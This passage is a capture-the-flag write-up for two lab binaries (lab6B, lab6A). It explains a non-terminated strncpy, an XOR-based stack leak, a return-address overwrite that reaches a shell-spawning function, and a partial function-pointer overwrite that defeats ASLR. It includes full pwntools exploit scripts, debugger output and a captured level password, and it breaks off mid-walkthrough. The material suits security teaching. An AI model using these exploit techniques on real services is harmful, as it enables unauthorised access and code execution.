(line 51) and stores its contents in a newly allocated buffer (line 89):
fd = fopen("/home/lab6A/.pass", "r");
if(fread(*password, sizeof(char), psize, fd) != psize)
–> In the main
function this password is hashed with the username lab6A
using the function hash_pass
(line 165):
hash_pass(secretpw, "lab6A");
–> This function (line 22) performs XOR upon each consecutive character in password
and username
as long as no null-byte is found (lines 27-31):
while(password[i] && username[i]) { password[i] ^= username[i]; i++; }
–> If a null-byte in username
was found, every remaining character in password
is XORed with 0x44
as long as no null-byte is found (lines 34-38):
while(password[i]) { password[i] ^= 0x44; i++; }
–> Within the main
function login_prompt
is called, passing the hashed secretpw
(line 170):
if(login_prompt(pwsize, secretpw))
–> The function (line 102) calls fgets
twice to read two strings in a while-loop and copies the user input to username
and password
using strncpy
(lines 123, 130):
strncpy(username, readbuff, sizeof(username));
strncpy(password, readbuff, sizeof(password));
–> The input is hashed using hash_pass
(line 133) and compared to the secretpw
using memcmp
(line 136):
hash_pass(password, username);
if(pwsize > 16 && memcmp(password, secretpw, pwsize) == 0)
–> If the comparison succeeds the function login
is called (line 138), which spawns a shell (line 17):
system("/bin/sh");
Where is the vulnerability within the program?
As usual we should start with the user input to spot possible vulnerabilities. Within the function login_prompt
the user input is read using fgets
. As the second argument sizeof(readbuff)
is passed limiting the amount of characters read to sizeof(readbuffer)-1
. No vulnerability here. After the calls to fgets
the input is copied to the variables username
/ password
using strncpy
. While the averaged programmer is well aware of the dangers using strcpy
, strncpy
is perceived as safe. Like the calls to fgets
, strncpy
is called passing the size of the destination buffer (sizeof(username)
/ sizeof(password)
). Seems safe? Attention!
gameadmin@warzone:/tmp$ man strncpy STRCPY(3) Linux Programmer's Manual STRCPY(3) NAME strcpy, strncpy - copy a string SYNOPSIS #include <string.h> char *strcpy(char *dest, const char *src); char *strncpy(char *dest, const char *src, size_t n); DESCRIPTION The strcpy() function copies the string pointed to by src, including the terminating null byte ('\0'), to the buffer pointed to by dest. The strings may not overlap, and the destination string dest must be large enough to receive the copy. Beware of buffer overruns! (See BUGS.) The strncpy() function is similar, except that at most n bytes of src are copied. Warning: If there is no null byte among the first n bytes of src, the string placed in dest will not be null- terminated. If the length of src is less than n, strncpy() writes additional null bytes to dest to ensure that a total of n bytes are written.
This means that the destination string ends up lacking a terminating null byte if there is no null byte among the first n
characters in the source string. In order to prevent this the call must look like this:
strncpy(username, readbuff, sizeof(username) - 1);
Let's run the program and see how we can leverage this vulnerability. In addition to the source code there is a readme-file within the labs directory:
lab6B@warzone:/levels/lab06$ cat lab6B.readme lab6B is not a suid binary, instead you must pwn the privileged service running on port 6642 Using netcat: nc wargame.server.example 6642 -vvv Your final exploit must work against this service in order to get the .pass file from the lab6A user.
Thus we will not run the binary directly but rather connect to the service using nc
:
lab6B@warzone:~$ nc localhost 6642 -vvv nc: connect to localhost port 6642 (tcp) failed: Connection refused Connection to localhost 6642 port [tcp/*] succeeded! ----------- FALK OS LOGIN PROMPT ----------- Enter your username: aaaa Enter your password: bbbb Authentication failed for user aaaa Enter your username:
Every thing works as intended so far. Now let's enter a username which will fill the whole buffer (32 byte):
Enter your username: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Enter your password: xxxx Authentication failed for user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9999K Enter your username:
Now the username is not null-terminated. When it is being printed, the characters following the buffer in memory are also printed: 9999K
. What is 9999K
? Remember that the password we entered was is being hashed with the username using the function hash_pass
:
while(password[i] && username[i]) { password[i] ^= username[i]; i++; }
This means that the 9999K
is our hashed password:
'A' (0x41) ^ 'x' (0x78) = '9' (0x39) 'A' (0x41) ^ 'x' (0x78) = '9' (0x39) 'A' (0x41) ^ 'x' (0x78) = '9' (0x39) 'A' (0x41) ^ 'x' (0x78) = '9' (0x39) 'A' (0x41) ^ '\n' (0x0a) = 'K' (0x4b)
As fgets
considers the entered newline as a valid character, it is also copied to password
.
So what is happening if we enter a 32 byte username and a 32 byte password?
Enter your username: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Enter your password: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Authentication failed for user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA99999999999999999999999999999999▒▒▒▒▒▒▒▒A▒D▒A▒D▒q▒▒G▒D▒" Enter your username:
Looks like we are getting somewhere 🙂 Now the characters following the password
buffer are also printed. Since both the username
and the password
buffer are stored on the stack, this must be items on the stack following these buffers.
And did you notice something else? Actually only 3 attempts to enter a username/password should be allowed before the program is quit. But the program keeps asking me for a username. It seems likely that we overwrote the attempts
variable on the stack:
int login_prompt(int pwsize, char * secretpw) { char password[32]; char username[32]; char readbuff[128]; int attempts = -3; int result = -1;
In order to examine the output of the service better we can write a little python-script using pwntools
:
lab6B@warzone:~$ cat /tmp/examine_lab6B.py from pwn import * p = remote("localhost", 6642) print(p.recv(200)) p.sendline("A"*32) # sending username print(p.recv(200)) p.sendline("x"*32) # sending password ret = p.recv(400) print(hexdump(ret))
Running the script:
lab6B@warzone:~$ python /tmp/examine_lab6B.py [+] Opening connection to localhost on port 6642: Done ----------- FALK OS LOGIN PROMPT ----------- Enter your username: Enter your password: 00000000 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 66 │Auth│enti│cati│on f│ 00000010 61 69 6c 65 64 20 66 6f 72 20 75 73 65 72 20 41 │aile│d fo│r us│er A│ 00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ 00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 39 │AAAA│AAAA│AAAA│AAA9│ 00000040 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 │9999│9999│9999│9999│ 00000050 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 c6 │9999│9999│9999│999·│ 00000060 c6 c6 c6 c7 c6 c6 c6 41 36 47 8e 41 36 47 8e d1 │····│···A│6G·A│6G··│ 00000070 8f e1 86 47 d6 44 8e 22 0a │···G│·D·"│·│ 00000079 [*] Closed connection to localhost port 6642
Now we can identify the single items on the stack following the password
buffer (little-endian):
[ c6c6c6c6 ] (0x5f - 0x62) [ c6c6c6c7 ] (0x63 - 0x66) [ 8e473641 ] (0x67 - 0x6a) [ 8e473641 ] (0x6b - 0x6e) [ 86e18fd1 ] (0x6f - 0x72) [ 8e44d647 ] (0x73 - 0x76) ...
These values does not seem familiar. We can use radare
to determine what is actually stored on the stack:
[0x000008c0]> pdf @ sym.login_prompt ╒ (fcn) sym.login_prompt 395 │ ; arg int arg_2 @ ebp+0x8 │ ; arg int arg_3 @ ebp+0xc │ ; arg int arg_4 @ ebp+0x10 │ ; var int local_0_1 @ ebp-0x1 │ ; var int local_0_3 @ ebp-0x3 │ ; var int local_3 @ ebp-0xc │ ; var int local_4 @ ebp-0x10 │ ; var int local_12 @ ebp-0x30 │ ; var int local_20 @ ebp-0x50 │ ; var int local_52 @ ebp-0xd0 │ ; CALL XREF from 0x00000f79 (sym.main) │ ;-- sym.login_prompt: │ 0x00000d36 55 push ebp │ 0x00000d37 89e5 mov ebp, esp │ 0x00000d39 53 push ebx │ 0x00000d3a 81ece4000000 sub esp, 0xe4 │ 0x00000d40 e8bbfbffff call sym.__x86.get_pc_thunk.bx ;sym.__x86.get_pc_thunk.bx() │ 0x00000d45 81c333220000 add ebx, 0x2233 │ 0x00000d4b c745f4fdffff. mov dword [ebp-local_3], 0xfffffffd ; [0xfffffffd:4]=-1 ; -3 │ 0x00000d52 c745f0ffffff. mov dword [ebp-local_4], sym.imp._ITM_registerTMCloneTable ; [0xffffffff:4]=-1 ; sym.imp._ITM_registerTMCloneTable │ ┌─< 0x00000d59 e946010000 jmp 0xea4 │ ┌ ; JMP XREF from 0x00000eaf (sym.login_prompt) │ ┌─────> 0x00000d5e c74424082000. mov dword [esp + 8], 0x20 ; [0x20:4]=0x2154 ; "T!" 0x00000020 ; "T!" @ 0x20 │ │ │ 0x00000d66 c74424040000. mov dword [esp + 4], 0 ; [0x4:4]=0x10101 │ │ │ 0x00000d6e 8d45d0 lea eax, [ebp-local_12] │ │ │ 0x00000d71 890424 mov dword [esp], eax │ │ │ 0x00000d74 e817fbffff call sym.imp.memset ;sym.imp.memset() │ │ │ 0x00000d79 c74424082000. mov dword [esp + 8], 0x20 ; [0x20:4]=0x2154 ; "T!" 0x00000020 ; "T!" @ 0x20 │ │ │ 0x00000d81 c74424040000. mov dword [esp + 4], 0 ; [0x4:4]=0x10101 │ │ │ 0x00000d89 8d45b0 lea eax, [ebp-local_20] │ │ │ 0x00000d8c 890424 mov dword [esp], eax │ │ │ 0x00000d8f e8fcfaffff call sym.imp.memset ;sym.imp.memset() │ │ │ 0x00000d94 c74424088000. mov dword [esp + 8], 0x80 ; [0x80:4]=0 │ │ │ 0x00000d9c c74424040000. mov dword [esp + 4], 0 ; [0x4:4]=0x10101 │ │ │ 0x00000da4 8d8530ffffff lea eax, [ebp-local_52] │ │ │ 0x00000daa 890424 mov dword [esp], eax │ │ │ 0x00000dad e8defaffff call sym.imp.memset ;sym.imp.memset()
The relevant parts are highlighted. The variable stored at ebp-local_3
(ebp-0xc
) is initialized with -3
. The variable stored at ebp-local_4
(ebp-0x10
) is initialized with -1
. These are the variables attempts
and result
. Before these variables the buffers readbuff
(ebp-local_52
: ebp-0xd0
), username
(local_20
: ebp-0x50
) and password
(local_12
: ebp-0x30
) are stored, which are initialized using memset
.
This means that the first items on the stack should be result
and attempts
:
[ c6c6c6c6 ] (0x5f - 0x62) <-- result (initialized with 0xffffffff)
[ c6c6c6c7 ] (0x63 - 0x66) <-- attempts (initialized with 0xfffffffd)
[ 8e473641 ] (0x67 - 0x6a)
[ 8e473641 ] (0x6b - 0x6e)
[ 86e18fd1 ] (0x6f - 0x72)
[ 8e44d647 ] (0x73 - 0x76)
...
result
should be -1
(0xffffffff
) but it changed to 0xc6c6c6c6
!? Do you remember how the hash_pass
function works?
while(password[i] && username[i]) { password[i] ^= username[i]; i++; }
As long as password[i]
or username[i]
are not null, password[i]
is XORed with username[i]
. Because both strings username
and password
do not contain a terminating null-byte, the loop just keeps on XORing all following values on the stack:
This means that the values on the stack got XORed with the password, which has been XORed with the username before:
password[0] = username[0] ^ password[0] ... password[33] = password[0] ^ password[33] = 0xc6
The XORed value for password[0]
is '9' (0x39)
. Thus the previous value of password[33]
was:
password_33_before = password[0] ^ 0xc6 password_33_before = 0x39 ^ 0xc6 password_33_before = 0xff
0xff
! Just as we suspected. Now we can convert all items on the stack to the original value by XORing with 0x39
:
[ ffffffff ] (0x5f - 0x62) <-- result (initialized with 0xffffffff) [ fffffffe ] (0x63 - 0x66) <-- attempts (initialized with 0xfffffffd) [ b77e0f78 ] (0x67 - 0x6a) [ b77e0f78 ] (0x6b - 0x6e) [ bfd8b6e8 ] (0x6f - 0x72) [ b77def7e ] (0x73 - 0x76) ...
The value of result
is -1
(0xffffffff
). attempts
has been incremented by one and thus is -2
(0xfffffffe
).
What we are really interested in is the return address of the function login_prompt
. Within the binary, the return address should be the address right after the call to login_prompt
:
[0x000008c0]> pdf @ sym.main ╒ (fcn) sym.main 224 ... │ │ 0x00000f79 e8b8fdffff call sym.login_prompt ;sym.login_prompt() │ │ 0x00000f7e 85c0 test eax, eax ... [0x000008c0]>
The instruction after the call is stored at offset 0x00000f7e
. As we have seen in the last level, this is not the final address since the binary is compiled as PIE and the .text
segment is loaded at a random address. Nevertheless the offsets stays the same and we can easily identify the return address on the stack:
[ ffffffff ] (0x5f - 0x62) <-- result (initialized with 0xffffffff) [ fffffffe ] (0x63 - 0x66) <-- attempts (initialized with 0xfffffffd) [ b77e0f78 ] (0x67 - 0x6a) [ b77e0f78 ] (0x6b - 0x6e) [ bfd8b6e8 ] (0x6f - 0x72) [ b77def7e ] (0x73 - 0x76) <-- return address, offset: 0xf7e ...
Since we want to get a shell, our goal is to call the function login
:
[0x000008c0]> afl~login 0x00000af4 57 1 sym.login
The function login
is located at offset 0xaf4
. If we abuse the hash_pass
function in order to change the last 12 bits of the return address to 0xaf4
the function login
is called, when the function login_prompt
returns.
In order to do this we have to set each byte of password
which is XORed with the return address to the appropriate value.
Let's start with the least significant byte. We want to change this from 0x7e
(return address) to f4
(offset login
). Thus the corresponding byte in password
has to be:
0xf4 = password_byte ^ 0x7e password_byte = 0x7e ^0xf4 password_byte = 0x8a
0x8a
! But we have to consider, that the values of password will also be XORed with the corresponding byte in username
. Since we set the username to AAAA...
, the byte in password
before the XOR was performed has to be:
0x8a = password_byte_inital ^ 0x41 ('A') password_byte_inital = 0x41 ^ 0x8a password_byte_inital = 0xcb
This means that we have to set the corresponding byte in password to 0xcb
. This value will be XORed with username
resulting in 0x8a
. And this value will be XORed with the byte 0x7e
in the return address finally changing it to 0xf4
.
If you are not confused yet, here is another issue: We do not want to change the upper bytes of the return address since these contain the randomized base address. Just like in the last level we want to do a Partial Overwrite. If the value of these bytes should not be changed, the value of the corresponding byte in password
should be zero. But if password
contains a null-byte the first loop terminates and the next loop XORs the return address with the constant 0x44
:
/* hash pass with chars of username */ while(password[i] && username[i]) { password[i] ^= username[i]; i++; } /* hash rest of password with a pad char */ while(password[i]) { password[i] ^= 0x44; i++; }
This will change the base address in the return address and we will not jump to login
:
This means that we cannot do a partial overwrite. We rather change the return address appropriately in two steps:
–> (1) Input 32*'A'
for username
and 32*'x'
for password
and leak the return address including the randomized base address.
–> (2) Input another username and password setting the values for password
according to the leaked base address so that the return address will be set to the address of login
.
Another thing to consider is that we must also change the variable attempts
. In order to quit the loop and reach the ret
instruction of the function login_prompt
attempts
has to be set to zero.
With all this in mind we can create the final exploit:
lab6B@warzone:/levels/lab06$ cat /tmp/exploit_lab6B.py from pwn import * p = remote("localhost", 6642) # ************************************************************* # stage1: leak return address including randomized base address p.recv(200) p.sendline("A"*32) # username p.recv(200) p.sendline("x"*32) # password ret = p.recv(400) # output contains return address (XORed) addr_ret_after_xor = ret[0x73:0x77] addr_ret_orig = [chr(ord(a)^0x39) for a in addr_ret_after_xor] # ******************************************************************************* # stage2: adjusting password so that return address will be changed appropriately explPwd = "x" * 4 # variable result explPwd += "\x89\x87\x87\x87" # variable attempts (set to 0) explPwd += "x" * 12 explPwd += chr(ord(addr_ret_after_xor[0])^0xf4^0x41) explPwd += chr(ord(addr_ret_after_xor[1])^(ord(addr_ret_orig[1]) & 0xf0 | 0xa)^0x41) explPwd += chr(ord(addr_ret_after_xor[2])^ ord(addr_ret_orig[2])^0x41) explPwd += chr(ord(addr_ret_after_xor[3])^ ord(addr_ret_orig[3])^0x41) explPwd += "x" * 8 p.recv(200) p.sendline("A"*32) # username p.recv(200) p.sendline(explPwd) # password p.recv(400) p.interactive()
Running the script:
lab6B@warzone:/levels/lab06$ python /tmp/exploit_lab6B.py [+] Opening connection to localhost on port 6642: Done [*] Switching to interactive mode WELCOME MR. FALK $ whoami lab6A $ cat /home/lab6A/.pass strncpy_1s_n0t_s0_s4f3_l0l
Done! 🙂 The password for the next level is strncpy_1s_n0t_s0_s4f3_l0l
.
lab6A
We connecting to the next level using the previously gained credentials lab6A with the password strncpy_1s_n0t_s0_s4f3_l0l:
gameadmin@warzone:~$ sudo ssh lab6A@localhost lab6A@localhost's password: (strncpy_1s_n0t_s0_s4f3_l0l) ____________________.___ _____________________________ \______ \______ \ |/ _____/\_ _____/\_ ___ \ | _/| ___/ |\_____ \ | __)_ / \ \/ | | \| | | |/ \ | \\ \____ |____|_ /|____| |___/_______ //_______ / \______ / \/ \/ \/ \/ __ __ _____ ____________________________ _______ ___________ / \ / \/ _ \\______ \____ /\_____ \ \ \ \_ _____/ \ \/\/ / /_\ \| _/ / / / | \ / | \ | __)_ \ / | \ | \/ /_ / | \/ | \| \ \__/\ /\____|__ /____|_ /_______ \\_______ /\____|__ /_______ / \/ \/ \/ \/ \/ \/ \/ -------------------------------------------------------- Challenges are in /levels Passwords are in /home/lab*/.pass You can create files or work directories in /tmp -----------------[ contact@rpis.ec ]----------------- Last login: Wed Jan 24 08:47:26 2018 from localhost
We start by analysing the source code:
lab6A@warzone:/levels/lab06$ cat lab6A.c /* Exploitation with ASLR enabled Lab A gcc -fpie -pie -fno-stack-protector -o lab6A ./lab6A.c Patrick Biernat */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include "utils.h" struct uinfo { char name[32]; char desc[128]; unsigned int sfunc; }user; struct item { char name[32]; char price[10]; }aitem; struct item ulisting; void write_wrap(char ** buf) { write(1, *buf, 8); } void make_note() { char note[40]; printf("Make a Note About your listing...: "); gets(note); } void print_listing() { printf( "Here is the listing you've created: \n"); if(*ulisting.name == '\x00') { return; } printf("Item: %s\n", ulisting.name); printf("Price: %s\n",ulisting.price); } void make_listing() { printf("Enter your item's name: "); fgets(ulisting.name, 31, stdin); printf("Enter your item's price: "); fgets(ulisting.price, 9, stdin); } void setup_account(struct uinfo * user) { char temp[128]; memset(temp, 0, 128); printf("Enter your name: "); read(0, user->name, sizeof(user->name)); printf("Enter your description: "); read(0, temp, sizeof(user->desc)); strncpy(user->desc, user->name,32); strcat(user->desc, " is a "); memcpy(user->desc + strlen(user->desc), temp, strlen(temp)); } void print_name(struct uinfo * info) { printf("Username: %s\n", info->name); } int main(int argc, char ** argv) { disable_buffering(stdout); struct uinfo merchant; char choice[4]; printf( ".-------------------------------------------------. \n" \ "| Welcome to l337-Bay + | \n" "|-------------------------------------------------| \n" "|1: Setup Account | \n" "|2: Make Listing | \n" "|3: View Info | \n" "|4: Exit | \n" "|-------------------------------------------------| \n" ); // Initialize user info memset(merchant.name, 0, 32); memset(merchant.desc, 0 , 64); merchant.sfunc = (unsigned int)print_listing; //initialize listing memset(ulisting.name, 0, 32); memset(ulisting.price, 0, 10); while(1) { memset(choice, 0, 4); printf("Enter Choice: "); if (fgets(choice, 2, stdin) == 0) { break; } getchar(); // Eat the newline if (!strncmp(choice, "1",1)) { setup_account(&merchant); } if (!strncmp(choice, "2",1)) { make_listing(); } if (!strncmp(choice, "3",1)) { // ITS LIKE HAVING CLASSES IN C! ( (void (*) (struct uinfo *) ) merchant.sfunc) (&merchant); } if (!strncmp(choice, "4",1)) { return EXIT_SUCCESS; } } return EXIT_SUCCESS; }
What does the program do?
–> Again the binary is compiled with the option -fpie -pie
(line 5), which means that all addresses are randomized.
–> There are two global struct definitions: uinfo
(lines 15-19) and item
(lines 22-25). We will focus on the uinfo
struct.
–> Within the main
function (line 73) the struct uinfo
is instantiated with the name merchant
(line 75).
–> Both strings of the struct are initialized (lines 89-90). For the desc
string only the first 64 of the total 128 bytes are zeroed out.
–> The member sfunc
is set to the address of the function print_listing
(line 91).
–> The program runs in a loop repetitively asking the user the input a choice (lines 97-99). The following choices can be made:
- Setup Account (calls the function setup_account(&merchant)
: line 107).
- Make Listing (calls the function make_listing
: line 110).
- View Info (interprets the sfunc
member as a function address, which is called passing &merchant
: line 113).
- Exit (returning and thus quitting the program: line 116).
–> The function setup_account
(line 56) reads a name and a description:
- The name is directly stored in user->name
using the function read
(line 60).
- The description is temporary stored in temp
(line 62).
- user->name
is then copied to user->desc
(line 63) and the string " is a "
is appended (line 64).
- memcpy
is used to append the description stored in temp
to user->desc
(line 66).
–> There are three functions, which are not called at all: write_wrap
(line 29), make_note
(line 33) and print_name
(69).
Where is the vulnerability in the program?
There is a obvious vulnerability within make_note
since the function uses gets
to read a user input. As the function make_note
is not called at all, we cannot make use of it. But there is another vulnerability within the function setup_account
. The member user->desc
is initialized with a maximum of 32 byte of user->name
using strncpy
(line 63). After this the string " is a "
is appended to user->desc
(line 64) which makes a maximum of 32 + 6 = 38
byte. Then the content of the variable temp
, which holds a maximum of 128 byte, is appended (line 66). Summing it up a total amount of 38 + 128 = 166
bytes are copied to user->desc
. Since user->desc
is only 128 byte long, we can cause a buffer-overflow.
When we have identified a buffer-overflow the most usual overwrite-target is the return address of the stack-frame the buffer we can overflow resides in. But in this case there is a far more closer target: the sfunc
member of the struct. Since the value of sfunc
is interpreted as a function-address which is called, when we choose View Info
, we can set this value to an address we would like to jump to. Let's start by verifying our assumptions:
The user input for user->name
is read using the function read
passing 32 as the maximum of bytes to read. Since read
also gets the closing newline
(0xa
, we will enter 31 characters for the username. In an analogous manner we will enter 127 characters for the description.
At first we identify the instruction which calls sfunc
and set up a breakpoint on that instruction using gdb
:
gdb-peda$ disassemble main Dump of assembler code for function main: ... 0x00000d8f <+384>: mov eax,DWORD PTR [esp+0xbc] 0x00000d96 <+391>: lea edx,[esp+0x1c] 0x00000d9a <+395>: mov DWORD PTR [esp],edx 0x00000d9d <+398>: call eax ... End of assembler dump. gdb-peda$ b *main+398 Breakpoint 1 at 0xd9d
Then we run the program, choose Setup Account
, fill up the username and the description and choose View Info
to call sfunc
:
gdb-peda$ pattern create 127 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO' gdb-peda$ r Starting program: /levels/lab06/lab6A .-------------------------------------------------. | Welcome to l337-Bay + | |-------------------------------------------------| |1: Setup Account | |2: Make Listing | |3: View Info | |4: Exit | |-------------------------------------------------| Enter Choice: 1 Enter your name: UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU Enter your description: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO Enter Choice: 3 [----------------------------------registers-----------------------------------] EAX: 0x6741414b ('KAAg') EBX: 0xb77a3000 --> 0x2ef8 ECX: 0xb776e8a4 --> 0x0 EDX: 0xbfeac03c ('U' <repeats 31 times>, "\n", 'U' <repeats 31 times>, "\n is a AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO\n\350\300"...) ESI: 0x0 EDI: 0x0 EBP: 0xbfeac0e8 ("hAA7AAMAAiAA8AANAAjAA9AAO\n\350\300\352\277\352\277$\301\352\277\070\060z\267\240\003z\267") ESP: 0xbfeac020 --> 0xbfeac03c ('U' <repeats 31 times>, "\n", 'U' <repeats 31 times>, "\n is a AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO\n\350\300"...) EIP: 0xb77a0d9d (<main+398>: call eax) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb77a0d8f <main+384>: mov eax,DWORD PTR [esp+0xbc] 0xb77a0d96 <main+391>: lea edx,[esp+0x1c] 0xb77a0d9a <main+395>: mov DWORD PTR [esp],edx => 0xb77a0d9d <main+398>: call eax 0xb77a0d9f <main+400>: lea eax,[esp+0x18] 0xb77a0da3 <main+404>: movzx edx,BYTE PTR [eax] 0xb77a0da6 <main+407>: lea eax,[ebx-0x1f13] 0xb77a0dac <main+413>: movzx eax,BYTE PTR [eax] Guessed arguments: arg[0]: 0xbfeac03c ('U' <repeats 31 times>, "\n", 'U' <repeats 31 times>, "\n is a AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO\n\350\300"...) [------------------------------------stack-------------------------------------] 0000| 0xbfeac020 --> 0xbfeac03c ('U' <repeats 31 times>, "\n", 'U' <repeats 31 times>, "\n is a AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO\n\350\300"...) 0004| 0xbfeac024 --> 0x2 0008| 0xbfeac028 --> 0xb776dc20 --> 0xfbad2288 0012| 0xbfeac02c --> 0x0 0016| 0xbfeac030 --> 0xbfeac098 ("AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO\n\350\300\352\277\352\277$\301\352\277\070\060z\267\240\003z\267") 0020| 0xbfeac034 --> 0xb779fa94 --> 0xb777ab18 --> 0xb779f938 --> 0xb77a0000 --> 0x464c457f 0024| 0xbfeac038 --> 0x33 ('3') 0028| 0xbfeac03c ('U' <repeats 31 times>, "\n", 'U' <repeats 31 times>, "\n is a AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO\n\350\300"...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0xb77a0d9d in main () gdb-peda$ pattern offset $eax 1732329803 found at offset: 90
For the description is used a pattern to calculate the offset from the description string to sfunc
when inputting 32 byte (31 characters) for the username. This offset is 90
byte.
Well, we can control the instruction pointer now, but where should we jump to? We do not know any absolute address, neither of a shared library, nor of the binary itself. Our ultimate goal is to spawn a shell. Because there is no win
function within the binary and we cannot store and execute a shellcode in the stack (NX
enabled), we should try to call system("/bin/sh")
from the libc. Before we can do that, we need the address of the libc. sfunc
contains the absolute address of the function print_listing
, which is at least a valid address of the binary. We can do a Partial Overwrite as we did in the last two levels in order to call another function of the binary. As we want to leak a libc address and thus have to somehow print something a suitable candidate might be the function print_name
:
void print_name(struct uinfo * info) { printf("Username: %s\n", info->name); }
At first we need to lookup the offset of the function. These are the two bytes we are going to overwrite:
gdb-peda$ p print_name $1 = {<text variable, no debug info>} 0xbe2 <print_name>
print_name
is located at offset 0xbe2
. Because in the two least significant bytes we are going to overwrite are still 4 randomized bits, I wrote a python-script which repetitively sets the two bytes to 0xbe2
and tries to call the function by choosing View Info
until the call succeeds:
lab6A@warzone:/levels/lab06$ cat /tmp/exploit_lab6A.py from pwn import * def setupAccount(p, u, d): p.sendline("1") p.recvuntil("name: ") p.sendline(u) p.recvuntil("description: ") p.sendline(d) p.recvuntil("Choice: ") p.sendline("3") while True: p = process("./lab6A") p.recvuntil("Choice: ") # partially overwrite sfunc (print_name) setupAccount(p, "A"*31, "X"*90+"\xe2\x0b\x00") try: ret = p.recv(400) if ("Username: " in ret): break except EOFError: continue log.info("Partial overwrite succeeded!") print(ret) p.interactive()
After a few attempts the function print_name
gets successfully called:
lab6A@warzone:/levels/lab06$ python /tmp/exploit_lab6A.py [+] Starting program './lab6A': Done [+] Starting program './lab6A': Done [+] Starting program './lab6A': Done [+] Starting program './lab6A': Done [+] Starting program './lab6A': Done [+] Starting program './lab6A': Done [+] Starting program './lab6A': Done [+] Starting program './lab6A': Done [+] Starting program './lab6A': Done [+] Starting program './lab6A': Done [+] Starting program './lab6A': Done [+] Starting program './lab6A': Done [+] Starting program './lab6A': Done [*] Partial overwrite succeeded! Username: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA is a XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX▒ p\xb7 Enter Choice: [*] Switching to interactive mode $
Did you notice the output? There is no terminating null-byte at the end of the username and thus the whole struct gets printed. Let's have a closer look at the output as a hexdump:
... print(hexdump(ret)) p.interactive()
And rerun the script:
lab6A@warzone:/levels/lab06$ python /tmp/exploit_lab6A_2.py [+] Starting program './lab6A': Done ... [*] Partial overwrite succeeded! 00000000 55 73 65 72 6e 61 6d 65 3a 20 41 41 41 41 41 41 │User│name│: AA│AAAA│ 00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ 00000020 41 41 41 41 41 41 41 41 41 0a 41 41 41 41 41 41 │AAAA│AAAA│A·AA│AAAA│ 00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ 00000040 41 41 41 41 41 41 41 41 41 0a 20 69 73 20 61 20 │AAAA│AAAA│A· i│s a │ 00000050 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 │XXXX│XXXX│XXXX│XXXX│ * 000000a0 58 58 58 58 58 58 58 58 58 58 e2 0b 76 b7 d0 0d │XXXX│XXXX│XX··│v···│ 000000b0 76 b7 0a 45 6e 74 65 72 20 43 68 6f 69 63 65 3a │v··E│nter│ Cho│ice:│ 000000c0 20 │ │ 000000c1 [*] Switching to interactive mode $
There are two addresses within the output: 0xb7760be2
at offset 0xaa
and 0xb7760dd0
at offset 0xae
.
The first address is just the value of sfunc
. We overwrote the least significant two bytes with 0x0be2
. The second address has also the same base address and is thus an address of the binary itself. Unfortunately that is not what we are looking for since we need a libc address.
How can we leak more than this? Do you remember the following line from the function setup_account
?
memcpy(user->desc + strlen(user->desc), temp, strlen(temp));
As we have already filled up user->desc
and neither the strncpy
call, nor the strcat
call cause a null-byte in user->desc
, a second call to setup_account
overwrites the memory following the previous description:
This means that we can leak more bytes on the stack by calling setup_account
again:
... print(hexdump(ret)) setupAccount(p, "u", "d") print(hexdump(p.recv(400))) p.interactive()
Rerunning the script:
